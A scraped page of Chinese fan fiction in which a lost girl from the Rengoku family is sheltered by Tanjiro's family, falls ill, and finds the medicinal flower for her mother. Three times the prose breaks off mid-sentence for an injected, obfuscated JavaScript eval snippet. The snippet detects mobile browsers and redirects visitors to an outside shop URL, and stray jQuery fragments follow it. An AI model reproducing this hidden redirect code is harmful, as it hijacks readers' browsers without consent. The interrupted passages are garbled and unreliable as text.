“请放心!爸爸马上就到,这个女孩子似乎有点困扰,我想帮助她。”圆圆的脸上露出一个憨态可掬的笑容,回答得明亮清晰。
“话虽如此……”
“没关系,我没有感觉到她身上有恶意。”被叫做炭治郎的小少年解释完,再次看向真希:“需要帮助的话,不用跟我客气!”
说是感觉,并不准确,炭治郎有超乎常人的嗅觉,每一件物品都有它特有的味道,人不同的情绪似乎也有各自对应的‘味道’,他最近正在探索中。
真希微微抬头,对上那双清澈的双眸,孤身在外,加上有了上次的经验,她没敢轻易接话。
不过,大家在怀疑她才是那个坏人吗?这个哥哥刚才在帮她说话吗?
小女孩的情绪似乎有所变化,炭治郎鼻尖动了动,蹲了下来,整个人看起来更加朴实无害了。
“别怕,我不是坏人。”
真希的视线随着他从上到下,对上真诚的眼神,她感觉再怀疑对方,自己的良心就要开始痛了。
于是她几乎以贴着对方膝盖的距离也蹲了下来,注视着对方开口:“哥哥,我好像找不到回去的路了,你可以告诉我吗?”
巴掌大的脸上,不知在哪里蹭上了灰扑扑的尘土,手和衣服也沾上了泥土,像一只放下戒备后,可怜兮兮的小花猫。
“当然了!”炭治郎回答得毫不犹豫,似乎在为有人愿意向他求助而开心,放柔了语气:“还记得路上经过的地方吗?”
真希想了想,迟疑道:“很多树?”
炭治郎笑着点点头,一副耐心十足的样子:“有建筑物之类的吗?”
真希努力回想。
“看来还要一点时间,我先去把炭卖掉,待会儿再来找你吧。”炭治郎起身,父亲去买东西了,他要快一点卖掉背上的炭,然后去帮忙。
真希见他转身就要走,搓了搓还算干净的指腹,捏住他的一小片衣角。
“要一起去吗?”炭治郎伸出手。
真希不太好意思蜷起手指,看了一眼被她捏过的位置,还好没有弄脏。
男孩却并不在意,甚至贴心地拍落了她手上表面的尘土,拉着她就沿街挨家挨户询问起来。
自家哥哥也是热心的典范,真希没什么不适应。
这个角度看过去,才发现他似乎只有脸上的肉多一点,衣服下空荡荡的,身体并不丰盈。
她放下戒备,加入其中。
这个季节的炭,不算好卖,但对于小孩的组合,大人们或许总是怜爱几分,加上灶门家的手艺有口皆碑,问了几户,背上的竹筐就空了。
“太好了,今天卖得好快!”炭治郎用布包小心收起刚拿到的硬币:“谢谢,多亏了你的帮忙,那个……”
“真希,我的名字。”
“谢谢,真希!”炭治郎自然地接上:“有想起来什么吗?”
真希灵光一闪想到了重要的事情,她抬手比划了一下,发现不够,左右看了看,认真道:“哥哥你知道哪里有一种叫‘车’的东西吗?”
她思考了一下,继续描述:“几个大大的盒子连接着,看起来比这条路还长,我从那个里面下来,就找不到路了。”
炭治郎有些困惑的眨眼:“抱歉……第一次听说,外面的生物可以长到这么大了吗?真是惊人……”
“不是生物,”真希想起坚硬的手感,肯定道:“是铁盒子。”
“会动的铁盒子?”
她点点头。
炭治郎冥思苦想,摇摇头:“没有见过,也许父亲会知道,我带你去问问吧。”
……
“我也没有见过,大概不是这附近的东西。”男人身上穿着同款黄棕羽织,宛若放大版的炭治郎,只是面庞更加削瘦硬朗,给出的答案依旧不变。
真希略带失落的低下头。
宽大的手掌摸摸炭治郎的头,炭十郎将一个包得严严实实的小方块放进炭治郎空了的竹筐里,他背后用布盖住的竹筐冒出小山似的尖尖。
“稍微等我一下。”留下这句,他走到某户人家门前,敲响了门。
里面的人出来同他交换了钱货,炭十郎拿着空了的竹筐走回来。
接下来再去添些日常吃食,父子俩就该启程回家了,如果没有捡到孤零零的小女孩。
炭十郎和两人面面相觑,平静的目光仿佛要把人看透。
真希克制住想躲避的欲望,鼓起勇气:“请问,您知道在哪里可以找到我说的东西吗?”
“抱歉,我没有头绪,去打听一下或许会有所发现。”
“没关系,叔叔,谢谢你。”真希虽然有点遗憾,但还是准备告别了,即便是一个人,她也会找下去。
炭十郎收回在她身上的视线,看向旁边的人:“炭治郎,打算怎么办?”
炭治郎看看父亲,又看看真希,女孩子仿佛和妹妹祢豆子差不多大,她的家人一定很担心吧,一个在外面遇到危险怎么办?
“父亲,我陪她去找找看,如果……”他思考了几秒,迟疑说道:“如果真希找不到的话,可以先在我们家住吗?”
炭治郎作为长男,早早就了解到家里的情况不算有富余,最小的妹妹还不到一岁,冒然带回去一个萍水相逢的人,或许会给家里增加负担。
纵使有所挣扎,但他还是无法放任不管。
“没关系,哥哥。”真希笑起来,不等炭十郎答复,主动推辞道:“刚才谢谢你,我一个人也可以的。”
从离开家里到现在,真希紧张害怕过,却没有动摇过,一定会回到家的念头,也许是她找到了回去的办法,又或是爸爸和哥哥来找到她。
说不定她能带回母亲需要的药
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006737|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,或许等她回去的时候,母亲已经好了呢。
“不行的,你一个人没有地方住,遇到坏人怎么办?”炭治郎板起脸,小大人般一本正经教育着。
想到昨天到今早的经历,真希语塞,好像没办法反驳。
炭十郎弯下腰,微微一笑,日轮花札耳饰在脸侧轻晃:“一起去问问看吧,待会儿我们在这里集合,但是不能太晚,妈妈他们会担心。”
明白父亲是答应了的意思,炭治郎高兴道:“好!”
……
踏上回家的路时,太阳斜斜缀在西边,炭治郎牵着真希跟在父亲后面。
他安慰道:“我们明天再来。”
真希点点头,有点蔫蔫的。
他们经过一番打听,也不是完全没有收获,至少知道了那个交通工具叫做列车,在大一点的城市,或许就有。
她误打误撞,也不明白是怎么走到这里来的。
回到约好的地方,由于没有问到路线和更清晰的情况,在炭治郎的劝说下,真希先跟着他回家。
折腾了两天,这条越来越深的山路对真希来说,越走越艰难,她的呼吸逐渐急促,头也有点发晕。
“累了吗?”炭治郎关切地问,他牵住的那只手在冒冷汗。
“没、没有,”真希停下来缓了两口气,继续跟上,随口问:“哥哥你的家住在山里面吗?”
“嗯,还有点远,不用客气,累了我可以背你,我每天都有在好好锻炼!”炭治郎弯起手臂,像是在证明自己。
“我每天也有在努力训练。”真希抬头挺胸,气势上不能输:“这些路,对我来说不算什么。”
“好厉害!所以手才会有没愈合的伤口啊。”炭治郎恍然大悟。
中途他就带女孩简单清理了身上的脏污,白里透红的脸露出来,一看就是被养得很细致的类型,举止间透露出来气质和自信,炭治郎从未在镇上的小孩身上看到过。
“没错!”真希喜欢被夸奖时的语气,步伐暴露心情,带上展示的意味。
但没坚持多久,她喉咙发痒,忍不住捂嘴重重咳嗽两声,脚也变得有点重。
炭治郎担忧道:“真的没事吗?”
“没事。”真希想也不想回答,她只不过是有点热。
前方的炭十郎回头提醒:“到了。”
转移注意力后,时间果然过得很快,真希松了口气,她就说嘛,绝对能爬上来的。
两个孩子正聚在家门前玩耍,见他们回来,立刻丢下手中的石头树枝,哒哒哒跑过来。
“爸爸,哥哥,欢迎回来!”
“我回来了,祢豆子,竹雄。”
两人围上来,好奇地打量哥哥旁边的陌生人。
“她的名字是真希,要暂时住在我们家。”炭治郎将她往前推了推,转个身介绍弟弟妹妹:“这是我妹妹祢豆子,还有弟弟竹雄。”
小女孩甜甜一笑,眼睛弯成一道月牙:“你好。”
小男孩鼓着脸侧过头,一颗痣恰好生在眼尾,视线盯着他们握在一起的手不说话。
18.历险记2
在家里,真希一直是最小的幺女,难得见到年龄比自己小的孩子。
陡然间有些好奇,她松了手上前去打招呼:“你们好,今天要打扰你们了。”
祢豆子看起来倒是很高兴,没什么芥蒂地说起欢迎。
名叫竹雄的小男孩,看起来像是只有两三岁的年纪,碍于哥哥姐姐目光的压力,不情不愿扭着头问了声好。
“竹雄,说话的时候要好好正视对方,这样对客人有点不礼貌哦。”炭治郎教育道。
“……我知道了。”竹雄小声道,转身和姐姐一起打量这个出现在家里的陌生人,一侧的脸颊还微微鼓着,学着祢豆子的样子,瓮声瓮气重新说了句:“欢迎,姐姐。”
真希抓了抓衣角,第一次有人叫她姐姐欸,从来只有她追在别人后面的份。
炭十郎温柔地摸了摸祢豆子和竹雄的头:“妈妈呢?”
祢豆子:“妈妈在准备做饭,让我先陪竹雄玩。”
“我进去帮忙,你们也陪姐姐玩一会儿吧。”他放下手,看向炭治郎:“炭治郎,把买回来的糖分给大家吧。”
“太好了!今天有糖吃!”两人的眼睛变得亮晶晶的,欢呼一声就将炭治郎团团围住。
炭十郎笑了笑,径直拿着东西进了屋子,他还得和妻子解释一下真希的来历。
炭治郎蹲下,从自己的小背篓里拿出一包糖果,晶莹亮丽的颜色最能吸引小孩子的目光。
他往两人嘴里喂了一颗:“甜吗?”
两颗小脑袋连连点头,竹雄整个人都变得雀跃起来,拿起一颗,含糊不清道:“哥哥也吃。”
“谢谢,但是哥哥的份就留给你们吧。”炭治郎握着他的小手,温柔地笑。
竹雄看起来不太高兴了,在两颊挤来挤去的不知道是糖果还是生气。
“哥哥也一起吃才会更甜,我们不要哥哥的份。”祢豆子加入劝说。
架不住弟弟妹妹撒娇,炭治郎也拿了一颗放进嘴里。
两人心满意足,推拉间,竹雄撞到好奇观察他们相处模式的真希,他没有犹豫,又拿起一颗递过去:“真希姐姐,这个给你。”
他没抬头,耳朵红红的。
真希看着在手心里滚动了一下的糖,透亮的橙色,她想起哥哥和爸爸了。
祢豆子笑眯眯伸手摸摸他的头,毫不吝啬的夸赞:“竹雄好乖,长大了啊。”
小男孩脸也跟着红起来,任由姐姐揉扁搓圆。
真希看向友好互动的两人,小小的两只都好可爱,怎么办,好想捏捏看,要不问问炭治郎好了,她偷偷瞄了一眼。
“怎么了吗?”炭治郎好脾气地笑了笑。
初次见面,就提这种要求真的好吗?真希收起那颗糖,凑到炭治郎旁边,轻声嘀咕了几句。
他抬头似乎有点惊讶,但妹妹和弟弟终归是被夸了,于是毫不避讳大声道:“当然可以了!请直接动手吧。”
专注给弟弟顺毛的祢豆子停下动作,迷茫地看过来。
真希脸色微红,为……为什么听起来这么奇怪。
“来,请不用客气。”偏偏炭治郎还认为她在不好意思,积极引导。
毕竟祢豆子是他们这出了名的可爱,竹雄也不差,有这种想法也是人之常情。
“那……那我就不客气了?”真希试探道。
“哥哥,你们在说什么?”祢豆子问道。
话音刚落,真希走上前,郑重地伸出手,缓缓放在两人头上,像要举行某种神秘仪式。
祢豆子眨眨眼,一动不动。
“你、你做什么!”竹雄炸毛,但也没躲。
一脸认真感受完,她又小心翼翼戳上两人的脸颊的软肉,祢豆子配合地歪头一笑。
真希收回手,唰地躲到炭治郎身后,捂着手指碎碎念:“感觉被攻击到了。”
炭治郎满脸期待追问:“怎么样?”
“比我想象的还好。”真希严肃点点头,很软很可爱,哥哥摸她头的时候,也是这种心情吗?
她将一只手搭在头上,突然愣了愣,来不及细想这股说不清道不明的心情,竹雄仿佛对他们这段莫名其妙的对话有点不满,哼了一声别过脸。
炭治郎毫不客气揽住他们俩。
闹了一会儿,祢豆子退出来:“哥哥,我去看看妈妈那边要不要帮忙。”
“我也一起去吧!”炭治郎急忙道:“真希,竹雄拜托你一会儿可以吗?”
“我不需要她看!”竹雄抗议。
“好,交给我吧。”真希一口答应,毕竟她现在是姐姐。
“那就拜托了。”
炭治郎挥挥手,和祢豆子一前一后走进去,留下两人面面相觑。
竹雄一动,她的视线就跟着移动,小男孩忍无可忍:“干嘛一直看着我?”
真希满脸无辜:“炭治郎说拜托我。”
“都说不用了。”竹雄辩驳,也跟着往里走,到了门口,见她还在原地,眼神闪烁问道:“你……不进来吗?”
到了屋里,真希才见到灶门家的女主人葵枝,带着白色头巾的女人背着尚在襁褓中的孩子,小女孩手舞足蹈,咿咿呀呀看着忙碌的哥哥姐姐。
葵枝发现了她,在围裙上擦擦手走过来:“你就是真希吗,详情我都听说了,长得真可爱,就安心地住下吧。”
尽管葵枝笑得十分和善,面对初次见面的长辈,真希还是有几分拘谨:“你好,阿姨。”
“饭已经做好了,马上就能吃了,你一定饿了吧,待会儿多吃点。”
“谢谢。”她认真道谢。
“呀——ma、ma——”背上的孩子睁着过分大的眼睛,一个音节一个音节往外蹦。
真希的目光与她对上,她立刻张大嘴笑了,露出两颗刚长齐不久的小牙。
“应该叫欧内酱哦,”葵枝忍不住笑出声,侧过身让两人更方便打招呼:“这孩子叫花子。”
真希腼腆地伸出手:“请多指教,花子。”
小女孩仿佛听懂了,努力够到了她的一根手指,紧紧握在手心。
……
灶门家很温暖,真希真切的感受到,吃饭时一直在问她要不要再来一碗,找出干净的衣服让她换上。
她看到了,所有人的衣服放在一个衣柜,那里面也没有装满,甚至睡觉时,给她留下了里侧最大的一个位置。
真希隐隐意识到,她或许比想象中更幸福。
山间的生活大多是日出而作,日落而息,他们早早就熄灯躺下。
一家人睡在一个房间,此起彼伏或轻或重的呼吸声。
真希很累,却睡不着。
这里很温暖,炭治郎是好人,但她有点想家了。
怕吵到其他人,真希看着天花板没有动,她还是喜欢和哥哥挤在一起睡觉的感觉,不知道妈妈怎么样了。
没关系,她很快就能回去的……就算被打也不怕。
真希安慰着自己,呼吸渐渐不稳,有液体滑进发间,带着凉意。
为什么晚上会有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012834|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想哭,她有点讨厌晚上了。
睡在她旁边的人窸窸窣窣有了动静。
炭治郎睁开眼睛,他察觉到弥漫着有些悲伤的情绪,那股气息的源头传出的微弱声音,变得格外突兀。
为了不打扰真希休息,他们的距离有点远。
竹雄应该已经睡熟了,炭治郎替他掖好被子,悄无声息摸索过去。
真希骤然对上近在咫尺的双眸,吓得停住了呼吸。
黑暗中,只有细微差异的两双赤红眼睛四目相对,其中一双还有点点水光。
有手指在她眼角擦了擦,真希愣愣盯着,后知后觉反应过来对方是谁。
那只手又在她身上拍了拍,真希虽然看不清他脸上的表情,但她觉得炭治郎应该是在笑,就像白天看到的那样,柔和而包容的笑。
她的眼泪重新涌上来。
炭治郎手忙脚乱在空中挥舞了几下,眼神中透出为难。
片刻后,他仿佛下定了决心,屏住呼吸爬回去,拖了什么东西过来。
接着,一只温热的手在被子下握住了她的,炭治郎在旁边躺下,嘴唇轻动,只带起微弱的气流。
真希听见了。
他说:别怕。
……
深夜,炎柱宅邸。
杏寿郎坐在中间,眉头拧得死紧,脸上没有一丝笑意。
小芭内环着手,头发将脸掩在阴影里。
千寿郎双手握拳,抵住额头,像是在祈祷。
门前传来脚步声,三人迅速起身,见到槙寿郎一个人回来,心中已经有了答案。
杏寿郎还是问了一句:“父亲,怎么样?”
槙寿郎摇摇头,面色难看:“没有找到,你们呢?”
“我们也没找到。”
空气沉默,沉重。
“已经两天两夜了,那家伙,到底跑到哪里去了。”小芭内忍不住说道,顾不上槙寿郎也在场,语气中说不清是生气多还是担忧多:“等找回来,必须好好教训一顿。”
杏寿郎开口道:“这附近都找过了,她跑得再快也不可能我们和父亲快。”
“真希没有去找主公大人,最近这附近也没有鬼出没的消息。”槙寿郎眉头松了松,染上化不开的忧虑:“主公大人也很着急,在帮忙找了。”
他没想到,会在那位大人身上感受到波动,某一瞬间的眼神,似乎在问他怎么没有早点说。
真希偶尔会独自出去,他们到傍晚才发现不对劲,等到天黑,才确定她是不见了。
停下所有活动,全家出动去找了。
虽说有时候没有消息就是最好的消息,焦躁却在不断累积。
“这孩子!一直很有分寸,怎么突然……真是要好好管教一番!”槙寿郎握紧拳头,气急了捶向一边的木墙,堪堪停在墙前,收了回来。
他艰难开口:“瑠火那边……是不是瞒不住了?”
杏寿郎点头:“母亲只问了两次,但应该已经察觉到了。”
千寿郎插不上话,谁出声他就看谁,没有听到有用的信息,垂着头后悔,他们从出生开始就没分开这么久过,他本该是最先发现妹妹不见了的那一个。
他为什么没有一起去呢。
杏寿郎拍了拍他的背,没说话。
“那……那我再去找找。”槙寿郎转身,鬼杀队的任务基本上都在夜间,他几晚不睡,也不会有问题。
“找什么?”淡淡的女声响起。
瑠火正站在走廊上,不知听了多久。
19.历险记3
“找……找……”槙寿郎磕磕巴巴:“找找有没有吃的?”
语气心虚得连自己都难以相信。
“母亲……”杏寿郎有些犹豫,可父亲的态度加上奇怪的理由,简直是让本来就瞒不住了的事情雪上加霜。
瑠火视线扫过来的一瞬间,几人都忍不住僵住身体。
槙寿郎硬着头皮上前:“夫人,我想了一下,这么晚了我们还是先睡……”
“真希呢?”瑠火神色淡淡,眼神中却是不容置疑的坚定。
“她就算贪玩了些,也绝不会两天都见不到人。”何况是在她生病的情况下。
“她……”槙寿郎笑得勉强,似乎还想再补充什么理由,但一转眼,所有人的脸上都写上了‘没办法’几个大字,藏不住心事的千寿郎索性躲在哥哥身后。
“我没有你们想的脆弱,真希怎么了?”瑠火一步一步向前,继续追问。
槙寿郎垂下眼皮,杏寿郎看了看小芭内,彼此了然,总要说的。
瑠火一人坐出三堂会审的架势,安静听完了事情的前因后果。
“母亲/夫人……”他们先瞒了下来,就是担心她的病情。
却不想瑠火抬手抵在胸前,缓缓舒了口气:“差点以为那孩子是……”
丈夫和孩子们的状态太过奇怪,在知道真相之前,她差点就要做最坏的打算。
他们最担心的人,如今反而最冷静,瑠火肯定道:“才两天而已,真希一定正在等着,不管有什么消息,第一时间和我说,你们专心找,家里就交给我。”
“好!”杏寿郎大声回答,随后迟疑道:“母亲,您真的还好吗?”
“我没事,”瑠火起身看向槙寿郎:“今天还是稍微休息一下吧,我们也走。”
槙寿郎走在她左侧,三人跟着目送他们离去。
“瑠火夫人真了不起。”小芭内感叹道,连他们都慌了手脚的事情,身为真希的母亲却还能稳得住。
槙寿郎伸手揽住妻子的肩膀,宽大的披风挡住了有一瞬间踉跄的身影。
……
第二天
真希并未能如预想中顺利踏上寻找回家的路线。
最先发现真希体温在升高的,是离她最近的炭治郎。
一晚上,女孩像是要寻找安全感,一点点靠过来,将他的整条手臂抱进怀里。
天笼罩在朦胧雾气的白光里,不同被子下的温度差异越来越大,蜷成一团的身体烫得惊人。
炭治郎坐起来,摸了摸自己的额头,倾身去探她的,只一瞬间就缩回了手,异常的高。
已经有了三个弟妹的他,深谙小孩子的发烧不能轻视。
炭治郎的印象中家人没有烧到这么高,当机立断叫醒父母。
葵枝先摸了摸真希的额头和颈部,又握了握她的小脚,蹙起眉头:“手和脚都很烫,要先控制温度,炭治郎,先去打盆水来!”
“好!”炭治郎脚步匆匆跑出去。
炭十郎披上羽织,过来查看情况。
真希脸色潮红,呼吸沉重,如同一个散发热量的火炉。
葵枝询问丈夫:“要送去医馆吗?”
炭十郎摇摇头:“路程太远了,先试试看能不能退烧,我去找找药。”
打完水回来,炭治郎马不停蹄拿毛巾倒水,紧张地看着十分难受的真希。
兵荒马乱的动静吵醒了熟睡中的弟妹,竹雄一翻身旁边已经空了,他迷迷糊糊爬起来:“哥哥?”
祢豆子揉揉眼睛,哄起因为被吵醒哭闹的花子,同样问道:“哥哥,怎么了?”
炭治郎转身:“抱歉,吵到你们了,我这就帮你们穿衣服。”
尚未完全睡醒的小男孩乖乖配合伸手。
利落地穿好后,他拿起另一件看向祢豆子。
“我自己来就好了,哥哥。”祢豆子轻轻放下哄好了的花子:“比起这个,真希姐姐怎么了吗?”
她担忧地看过去,从刚才开始,那边就不停传来忙碌的声音。
“她发烧了,不过一定很快就会好的。”
葵枝先喂了真希几口水,将毛巾拧干放上去的时候,她的反应比想象中大。
昏昏沉沉中,真希咽下了温润的液体,接着额头忽然就像糊上一块刺骨的冰块,她挣扎了半天才甩开。
原本还算安稳的人,口中开始溢出呓语。
“哥哥……”真希有点冷,自然回想起三人常常挤在一起的时候。
她对生病不算陌生,隐约还记得,在家里即便被母亲勒令隔离,也总能看到偷偷冒出来的两颗毛绒绒的脑袋。
“怎么办?好像状态更差了。”葵枝忧心忡忡道,改为用毛巾擦拭了一遍女孩的身体。
“真希?真希?”炭治郎轻声叫她,再次用手背感受了一下她脸上的热度。
真希用侧脸蹭了蹭,从触感中捕捉到一丝熟悉的感觉,费力撑开眼皮,入眼是男孩放大版焦急的脸。
“怎么样?还好吗?”
她迷茫地转动视线,一、二、三、四……这些人是谁来着?不认识。
在心里下了定论,真希干脆地合上困倦的眼睛,脸贴着那片温暖的触感更紧了些。
葵枝道:“……我先去问问,这里就先交给你了,炭治郎。”
“我知道了。”炭治郎还保持着没有抽回手的姿势,垂眸看着重新安静下来的女孩。
缩成小小的一团,好可怜,要是昨天他们没有把人带回来,现在她会变成什么样呢?
他想起昨天晚上看到的眼泪,脑海中浮现出一个步伐不稳的形象,说不定就倒在了某个地方。
“哥哥!”
“祢豆子?”炭治郎回神。
“发什么呆呢?叫你好几遍了,”祢豆子在旁边坐下:“爸爸拿了药回来,妈妈在准备煎药,让我们注意真希姐姐的状况。”
“好,”他收回手,柔软的触感消失:“水凉了,我去换一盆。”
真希不安地跟着动了动,小脸越皱越紧。
……炭治郎离开的动作顿住,试探着放回去,她缓缓舒展开。
“噗,”祢豆子忍不住笑道:“真希姐姐就像个小动物一样,生病了只认把自己带回来的哥哥了。”
“水就由我来换吧。”她端着水盆,看向朝这边望了半天的弟弟:“竹雄也在担心呢,一起来帮忙吧。”
竹雄支支吾吾,没找到反驳的理由,在祢豆子离开前快步追上去:“姐姐,等等我!”
……
要喝下没有半点修饰的苦药,过程也是万分艰难。
哄的哄,按的按,折腾半晌,真希突然睁开双眼,显然是还没清醒,委委屈屈看了他们一圈,咕咚抢过碗一饮而尽。
然后生气般把自己塞回被子,留下一个毛茸茸的头顶。
手忙脚乱的几人看得一愣一愣,对着空荡荡的碗笑出声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015890|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这个姐姐,吃个药幼稚死了。”竹雄嘲讽道,全然忘了他眼睛都不敢眨的样子。
“这么说的话,竹雄也来试试看吧?”祢豆子笑道,伸手就要抓住他。
“我才不要!”竹雄迅速后撤。
两人闹了一会儿。
炭治郎惊喜地发现,真希的体温在下降。
太好了,他松了口气。
药的退烧效果显著,压着脑袋那块石头仿佛被移开了,真希不知又睡了多久,渐渐听到忽远忽近的声音。
“都下午了,还在睡吗?姐姐是懒虫。”
“竹雄,不要去打扰真希姐姐休息。”祢豆子叉腰揪住他的耳朵。
“疼!”竹雄挣开没怎么用力的手,逃走。
“哈哈哈,别摔倒了。”炭治郎温柔一笑,叮嘱道。
真希意识回笼,她伸了个懒腰,茫然环视一周,睡得有点宕机。
这是在哪儿?
“醒了?烧退了,饿不饿?”
有只手轻轻在额头上碰了碰,温柔的语气有点像妈妈。
真希眨眨眼,视野清晰了,是……男孩子啊。
差点忘记了,她没在家。
“炭治郎?”真希仰头往后看,声音沙哑。
“是我。”
身体懒洋洋的,没有力气动,她好像梦见哥哥了。
真希撑住地面爬起来,忍着嗓子的不适:“对不起,没想到会发烧……”
自从认真锻炼后,原本她对自己的身体素质还挺有自信的,看来还远远不够。
飘着淡淡白气的杯子送到唇边,她抬起视线,微微弯起的双眸形似火焰,神似若水,水面上是她的倒影。
炭治郎开口道:“这不是你的错,在路上的时候辛苦了。”
“先喝点水,等痊愈了,我们再陪你找不迟。”
真希低头就着他的手抿了一口水,干涸的嗓子得到滋润。
炭治郎摸摸她的头,小声念道:“不怕不怕。”
这话听着耳熟,真希沉默了一会儿,突然说道:“炭治郎,你和我的哥哥应该有很多话可以聊。”
“为什么?”
她想了想,抛出万能答案:“就是这样觉得。”
炭治郎无奈附和着她:“有机会请务必介绍给我认识。”
真希郑重答应。
葵枝给她单独熬了粥,热腾腾的东西下肚,精神好了许多。
不过那碗老远就闻见苦涩味道的药汁端过来时,真希变了脸色:“不……我……”
在一个两个带着笑意的眼神里,真希推脱不掉,含泪干了,这次是在完全清醒的情况下,品尝到独特的味道,她觉得灵魂都要飞走了。
但是为什么大家都在笑,她做了什么吗?
炭治郎从余下的糖里拿出一颗,放在她手心,粉色的小圆球稳稳立住。
“对了,”葵枝停下收拾的动作,目光落到她枕头旁边:“你的东西都放在这里了,洗好的衣服也晾干了。”
她略带歉意继续说:“那张纸,藏在里面,我险些没看到,你看看有没有弄坏。”
“我都记得,没关系。”真希安慰道,那株草药的样子,她早就记得一清二楚啦。
她边说,边很诚实地拿来摊开检查,确认并没有损坏。
按照原来的痕迹折起,真希目光一顿。
如果是一直住在山里的炭治郎还有叔叔阿姨,会不会见过呢?
20.历险记4
“葵枝夫人!”真希急得换上尊称,推了被子追上去。
葵枝在门前停住转身,见她赤脚踩在地上,语气里有轻微的责怪:“病会加重的。”
“怎么了?慌慌张张的。”炭治郎跟上来。
真希仿佛没有听到般,紧紧盯住眼前的葵枝:“我……我想问您一个问题。”
医生大人说过,找到药还需要一点缘分,她不知道缘分是什么意思,但此刻心如擂鼓,降下来的温度有回升的趋势。
手心冒出一层薄汗,想要听到答案的心情太过迫切。
真希深吸一口气,双手递上纸张:“能帮我看看这个吗?”
“当然可以。”葵枝放下木盘,擦干净手。
小姑娘藏得这么好,想必很重要,她双手接过,还未打开,身后响起炭十郎的声音:“在做什么呢?”
他牵着祢豆子和竹雄走入,肩头有残留的木屑。
“这个……”葵枝没有立刻回答,而是将决定权交给真希。
“一起看吧!”真希毫不犹豫,补充道:“我要找画上的草药。”
得了允许,葵枝缓缓展开,炭十郎停在妻子右侧,低头看去。
炭治郎三人好奇踮脚,伸长脖子。
真希手掌紧攥,等待两人的答复。
“这是!”
还未细看,葵枝一拍掌,像是想起了什么,转眼就收好,还给真希。
“是?”她睁大眼睛,大气都不敢出。
葵枝笑眯眯点头,留下一个远去的背影。
“?”真希摸不着头脑,询问的目光投向炭十郎,对方无奈地摊了摊手掌。
他们呆在原地面面相觑。
忐忑的在灶门家养了两天,真希的病差不多痊愈。
她捧着放进手心的东西迟迟反应不过来。
硕大的花朵尚未完全开放,没有香气,立在细长的花梗上,仿佛脆弱得一折即断。
被人贴心的用了小花盆装好。
“不知道能不能直接摘下来,我就挖出来了,你看是这个吗?”葵枝笑容满面,随意得像在自家地里挖了两颗青菜。
“……”真希惊得不知怎么开口,连谢谢两个字都卡在喉咙里。
原来是这么简单就能找到的东西吗?!
“真是太好了,真希。”炭治郎拍拍她的肩膀,表现得比她还高兴。
“谢……谢。”真希努力了半天才发出声音,挤出两个字。
她看向包着白头巾,笑容和善的妇人,葵枝夫人不会有什么隐藏身份吧?
葵枝解释:“偶然发现花开得不错,还希望它能多长一些呢,可惜照顾了好几年依旧只有一株。”
“真的非常感谢!”真希举起它,阳光中,所有光线都落在花的身上,她露出来到这里后最纯粹一笑。
如果能够马上回去就更好了!
“不客气。”葵枝挥挥手,深藏功与名。
祢豆子凑近她旁边:“是用来做什么的呢?”
“我的妈妈,也生病了,医生大人说需要这个,找了很久都没有找到,我擅自跑出来,迷路了。”真希低声回答,说到最后,肉眼可见低落下来。
“能找到真是太好了,真希姐姐的家人一定会好起来的。”祢豆子伸手摸摸她的头。
炭治郎也伸出手:“一定会好起来的。”
被两张相似的脸围住,真希有些脸热,配合的没有反抗,见他们没有停下来的意思,她忍不住嘟囔了一句:“炭治郎就算了,祢豆子到底几岁啊,我不是姐姐吗?”
祢豆子停下动作。
然后真希就看见小女孩手指抵着下巴,露出一个与他们母亲近乎一模一样的笑容。
……
“你不要过来啊!”竹雄跑了一天,实在没有力气再躲开真希伸过来的魔爪。
“真希妹妹!”祢豆子周身围绕着小红花,步伐轻快走进来。
“都说了不用特地加上妹妹两个字。”真希悲伤的拉过挣扎中的男孩抱在怀里,原来这个家只有竹雄和花子比她小,花子太小了,她不敢抱。
“我不是你的玩具!”竹雄奋力掰开像八爪鱼缠上来的真希,脸上的红不知是害羞还是生气。
他好不容易等到妹妹出生,自己不是家里最小的那个了,怎么又多了个人骑在他头上,而他最小的妹妹正开开心心在哥哥怀里鼓掌。
“只有竹雄能安慰一下受伤的姐姐了。”真希将下巴搁在他头上,视线看向祢豆子,不经意加重了‘姐姐’两个字。
祢豆子笑得欢快,散发出长姐的气息:“真是太好了呢,竹雄有新的姐姐了。”
竹雄看起来更愤怒了。
她们交换了生日,真希才发现祢豆子比她大了几个月,明明她的身高更高,身份转变后,无论做什么,似乎都有种被纵容了的感觉。
尤其是今天。
灶门家的男主人不常说话,但总能看到他干活的身影,这两天炭治郎留在家照顾弟妹,炭十郎独自上下山。
刚才的晚饭时间,他带回了消息,真希回家的事情有眉目了。
他打听到了车站的位置,随时可以准备过去。
好消息接踵而来,这趟意外旅程的终点仿佛近在眼前。
气氛异常热闹。
